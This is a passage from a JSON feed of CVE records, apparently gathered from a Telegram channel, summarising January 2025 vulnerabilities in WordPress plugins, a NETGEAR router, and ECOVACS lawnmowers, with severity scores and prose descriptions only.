\"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T14:08:11.000000Z"}, {"uuid": "9279676a-a34f-49b4-962e-d314b8af8f59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12079", "type": "seen", "source": "https://t.me/cvedetector/16213", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12079 - ECOVACS Robot Lawnmowers Text-Based Authentication Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12079 \nPublished : Jan. 23, 2025, 5:15 p.m. | 40\u00a0minutes ago \nDescription : ECOVACS robot lawnmowers store the anti-theft PIN in cleartext on the device filesystem. An attacker can steal a lawnmower, read the PIN, and reset the anti-theft mechanism. \nSeverity: 3.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T19:09:15.000000Z"}, {"uuid": "101228d0-7f9b-4df2-b026-4a4f241cdf25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12504", "type": "seen", "source": "https://t.me/cvedetector/16180", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12504 - WordPress Broadcast Live Video Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12504 \nPublished : Jan. 23, 2025, 12:15 p.m. | 45\u00a0minutes ago \nDescription : The Broadcast Live Video \u2013 Live Streaming : HTML5, WebRTC, HLS, RTSP, RTMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'videowhisper_hls' shortcode in all versions up to, and including, 6.1.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T14:08:06.000000Z"}, {"uuid": "7ef1e0e7-b879-4af5-8b0b-b2f67f84d9d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12043", "type": "seen", "source": "https://t.me/cvedetector/16176", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12043 - Elementor Prime Slider WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12043 \nPublished : Jan. 23, 2025, 11:15 a.m. | 42\u00a0minutes ago \nDescription : The Prime Slider \u2013 Addons For Elementor (Revolution of a slider, Hero Slider, Post Slider and Ecommerce Slider) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'social_link_title' parameter of the 'blog' widget in all versions up to, and including, 3.16.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T13:17:56.000000Z"}, {"uuid": "15035ca1-53ab-4fdd-bff7-2a6be89f1fe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12477", "type": "seen", "source": "https://t.me/cvedetector/16145", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12477 - \"Avada Builder WordPress Stored Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12477 \nPublished : Jan. 22, 2025, 10:15 p.m. | 34\u00a0minutes ago \nDescription : The Avada Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcodes in all versions up to, and including, 3.11.11 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-22T23:55:47.000000Z"}, {"uuid": "c5c1d2a2-4857-4966-9b48-3391f9c4d5da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12472", "type": "seen", "source": "https://t.me/cvedetector/15026", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12472 - WordPress Post Duplicator Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12472 \nPublished : Jan. 11, 2025, 3:15 a.m. | 28\u00a0minutes ago \nDescription : The Post Duplicator plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.36 via the mtphr_duplicate_post() due to insufficient restrictions on which posts can be duplicated. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from password protected, private, or draft posts that they should not have access to by duplicating the post. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T04:53:19.000000Z"}, {"uuid": "0098b093-54b7-465a-a3aa-bd57fdd7e3c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12404", "type": "seen", "source": "https://t.me/cvedetector/15025", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12404 - WordPress CF Internal Link Shortcode SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12404 \nPublished : Jan. 11, 2025, 3:15 a.m. | 28\u00a0minutes ago \nDescription : The CF Internal Link Shortcode plugin for WordPress is vulnerable to SQL Injection via the 'post_title' parameter in all versions up to, and including, 1.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T04:53:19.000000Z"}, {"uuid": "7feca722-7c63-416e-bf48-61787fc0e89a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12117", "type": "seen", "source": "https://t.me/cvedetector/16080", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12117 - The Stackable Gutenberg Blocks Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12117 \nPublished : Jan. 22, 2025, 7:15 a.m. | 30\u00a0minutes ago \nDescription : The Stackable \u2013 Page Builder Gutenberg Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title' parameter of the Button block in all versions up to, and including, 3.13.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-22T08:52:25.000000Z"}, {"uuid": "b0efa615-d58d-4120-862c-8ca07f248715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://t.me/cvedetector/16079", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12857 - AdForest WordPress Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12857 \nPublished : Jan. 22, 2025, 7:15 a.m. | 30\u00a0minutes ago \nDescription : The AdForest theme for WordPress is vulnerable to authentication bypass in all versions up to, and including, 5.1.8. This is due to the plugin not properly verifying a user's identity prior to logging them in as that user. This makes it possible for unauthenticated attackers to authenticate as any user as long as they have configured OTP login by phone number. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-22T08:52:24.000000Z"}, {"uuid": "6f120b8b-321d-448c-965a-aae6e74abf33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12879", "type": "seen", "source": "https://t.me/cvedetector/16077", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12879 - \"WordPress WPBot Pro Unauthorized Data Modification - Arbitrary Chat Response Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-12879 \nPublished : Jan. 22, 2025, 6:15 a.m. | 38\u00a0minutes ago \nDescription : The WPBot Pro Wordpress Chatbot plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'qc_wp_latest_update_check_pro' function in all versions up to, and including, 13.5.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create Simple Text Responses to chat queries. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-22T08:02:14.000000Z"}, {"uuid": "ee35d3aa-7c49-43a0-9be7-93e56e8e1002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12304", "type": "seen", "source": "https://t.me/cvedetector/15033", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12304 - Kadence WP Gutenberg Blocks with AI Page Builder Stored Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12304 \nPublished : Jan. 11, 2025, 4:15 a.m. | 19\u00a0minutes ago \nDescription : The Gutenberg Blocks with AI by Kadence WP \u2013 Page Builder Features plugin for WordPress is vulnerable to Stored Cross-Site Scripting via button block link in all versions up to, and including, 3.4.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T05:43:33.000000Z"}, {"uuid": "4c7cafea-6e2c-43a2-b0d0-d3e08c3600a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12116", "type": "seen", "source": "https://t.me/cvedetector/15053", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12116 - Elementor WooCommerce Unlimited Theme Addon Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12116 \nPublished : Jan. 11, 2025, 8:15 a.m. | 33\u00a0minutes ago \nDescription : The Unlimited Theme Addon For Elementor and WooCommerce plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.2.1 via the 'uta-template' shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T09:54:22.000000Z"}, {"uuid": "bf9fac26-be6f-4a00-a0ad-d6e0f690ec1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12527", "type": "seen", "source": "https://t.me/cvedetector/15049", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12527 - \"WordPress Perfect Portal Widgets Stored Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12527 \nPublished : Jan. 11, 2025, 8:15 a.m. | 33\u00a0minutes ago \nDescription : The Perfect Portal Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'perfect_portal_intake_form' shortcode in all versions up to, and including, 3.0.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T09:54:16.000000Z"}, {"uuid": "5db40ef9-3fa4-4b0b-a120-1deb6652644c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12520", "type": "seen", "source": "https://t.me/cvedetector/15048", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12520 - WordPress WPBakery - Stored Cross-Site Scripting in Dominion Domain Checker Shortcode\", \n  \"Content\": \"CVE ID : CVE-2024-12520 \nPublished : Jan. 11, 2025, 8:15 a.m. | 33\u00a0minutes ago \nDescription : The Dominion \u2013 Domain Checker for WPBakery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'dominion_shortcodes_domain_search_6' shortcode in all versions up to, and including, 2.2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T09:54:15.000000Z"}, {"uuid": "cb12a578-b2f3-4e18-8694-6c8f7e4c9049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12519", "type": "seen", "source": "https://t.me/cvedetector/15047", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12519 - \"WordPress TCBD Auto Refresher Stored XSS\"\", \n  \"Content\": \"CVE ID : CVE-2024-12519 \nPublished : Jan. 11, 2025, 8:15 a.m. | 33\u00a0minutes ago \nDescription : The TCBD Auto Refresher plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tcbd_auto_refresh' shortcode in all versions up to, and including, 2.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T09:54:14.000000Z"}, {"uuid": "dee41aea-c4ab-4b28-b5d3-ee0e1250726d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12412", "type": "seen", "source": "https://t.me/cvedetector/15046", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12412 - WpRently - WordPress Stored Cross-Site Scripting in Rental and Booking Manager\", \n  \"Content\": \"CVE ID : CVE-2024-12412 \nPublished : Jan. 11, 2025, 8:15 a.m. | 33\u00a0minutes ago \nDescription : The Rental and Booking Manager for Bike, Car, Dress, Resort with WooCommerce Integration \u2013 WpRently | WordPress plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018active_tab\u2019 parameter in all versions up to, and including, 2.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T09:54:10.000000Z"}, {"uuid": "4f41923b-777d-4870-855d-1ca33caffb2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12407", "type": "seen", "source": "https://t.me/cvedetector/15045", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12407 - WordPress Push Notification for Post and BuddyPress Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12407 \nPublished : Jan. 11, 2025, 8:15 a.m. | 33\u00a0minutes ago \nDescription : The Push Notification for Post and BuddyPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'pushnotificationid' parameter in all versions up to, and including, 2.06 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T09:54:09.000000Z"}, {"uuid": "a53e6b87-f49e-4092-9ad4-90ff5fa89fe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12877", "type": "seen", "source": "https://t.me/cvedetector/15042", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12877 - GiveWP - Donation Plugin and Fundraising Platform PHP Object Injection and Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12877 \nPublished : Jan. 11, 2025, 8:15 a.m. | 33\u00a0minutes ago \nDescription : The GiveWP \u2013 Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.19.2 via deserialization of untrusted input from the donation form like 'firstName'. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to delete arbitrary files on the server that makes remote code execution possible. Please note this was only partially patched in 3.19.3, a fully sufficient patch was not released until 3.19.4. However, another CVE was assigned by another CNA for version 3.19.3 so we will leave this as affecting 3.19.2 and before. We have recommended the vendor use JSON encoding to prevent any further deserialization vulnerabilities from being present. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T09:54:07.000000Z"}, {"uuid": "6a500519-1bdc-4115-bc41-49f5f880b566", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12587", "type": "seen", "source": "https://t.me/cvedetector/15036", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12587 - Contact Form Master WordPress XSS\", \n  \"Content\": \"CVE ID : CVE-2024-12587 \nPublished : Jan. 11, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Contact Form Master  WordPress plugin through 1.0.7 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T08:13:56.000000Z"}, {"uuid": "11293226-a80c-4429-aca5-f7fe9d8b1593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12204", "type": "seen", "source": "https://t.me/cvedetector/15031", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12204 - WooCommerce Coupon X Unauthenticated Access Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12204 \nPublished : Jan. 11, 2025, 3:15 a.m. | 28\u00a0minutes ago \nDescription : The Coupon X: Discount Pop Up, Promo Code Pop Ups, Announcement Pop Up, WooCommerce Popups plugin for WordPress is vulnerable to unauthorized access due to missing capability checks on several functions in the class-cx-rest.php file in all versions up to, and including, 1.3.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create 100% off coupons, delete posts, delete leads, and update coupon statuses. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T04:53:26.000000Z"}, {"uuid": "3d5d7f59-fde1-4dfe-83c7-92bb65958f92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12627", "type": "seen", "source": "https://t.me/cvedetector/15028", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12627 - WooCommerce Popups PHP Object Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12627 \nPublished : Jan. 11, 2025, 3:15 a.m. | 28\u00a0minutes ago \nDescription : The Coupon X: Discount Pop Up, Promo Code Pop Ups, Announcement Pop Up, WooCommerce Popups plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.3.5 via deserialization of untrusted input from post content passed to the capture_email AJAX action. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T04:53:21.000000Z"}, {"uuid": "5d047cc4-0184-4b89-b85a-4d5bd15febf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12505", "type": "seen", "source": "https://t.me/cvedetector/15027", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12505 - WordPress Trackserver Plugin Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12505 \nPublished : Jan. 11, 2025, 3:15 a.m. | 28\u00a0minutes ago \nDescription : The Trackserver plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tsmap' shortcode in all versions up to, and including, 5.0.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-11T04:53:20.000000Z"}, {"uuid": "3a510ebb-c0bf-4d83-8a20-76146a344f19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "https://t.me/cvedetector/14995", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12847 - NETGEAR DGN1000 Remote Root Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12847 \nPublished : Jan. 10, 2025, 8:15 p.m. | 39\u00a0minutes ago \nDescription : NETGEAR DGN1000 before 1.1.00.48 is vulnerable to an authentication bypass vulnerability. A remote and unauthenticated attacker can execute arbitrary operating system commands as root by sending crafted HTTP requests to the setup.cgi endpoint. This vulnerability has been exploited in the wild since at least 2017. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-10T22:12:00.000000Z"}, {"uuid": "481ef2ee-db06-43a8-960c-2042f080e171", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12473", "type": "seen", "source": "https://t.me/cvedetector/14949", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12473 - \"AI Scribe SQL Injection Vulnerability in WordPress Plugin\"\", \n  \"Content\": \"CVE ID : CVE-2024-12473 \nPublished : Jan. 10, 2025, 4:15 a.m. | 42\u00a0minutes ago \nDescription : The AI Scribe \u2013 SEO AI Writer, Content Generator, Humanizer, Blog Writer, SEO Optimizer, DALLE-3, AI WordPress Plugin ChatGPT (GPT-4o 128K) plugin for WordPress is vulnerable to SQL Injection via the 'template_id' parameter of the 'article_builder_generate_data' shortcode in all versions up to, and including, 2.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-10T06:19:10.000000Z"}, {"uuid": "c06c75d4-369d-4f67-8b92-81472aae38d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12606", "type": "seen", "source": "https://t.me/cvedetector/14948", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12606 - \"AI Scribe - WordPress Plugin Data ModificationPrivilege Escalation Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12606 \nPublished : Jan. 10, 2025, 4:15 a.m. | 42\u00a0minutes ago \nDescription : The AI Scribe \u2013 SEO AI Writer, Content Generator, Humanizer, Blog Writer, SEO Optimizer, DALLE-3, AI WordPress Plugin ChatGPT (GPT-4o 128K) plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the engine_request_data() function in all versions up to, and including, 2.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update plugin settings. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-10T06:19:10.000000Z"}, {"uuid": "ca407c09-8d81-4f6f-ba23-bfc43fff255e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", 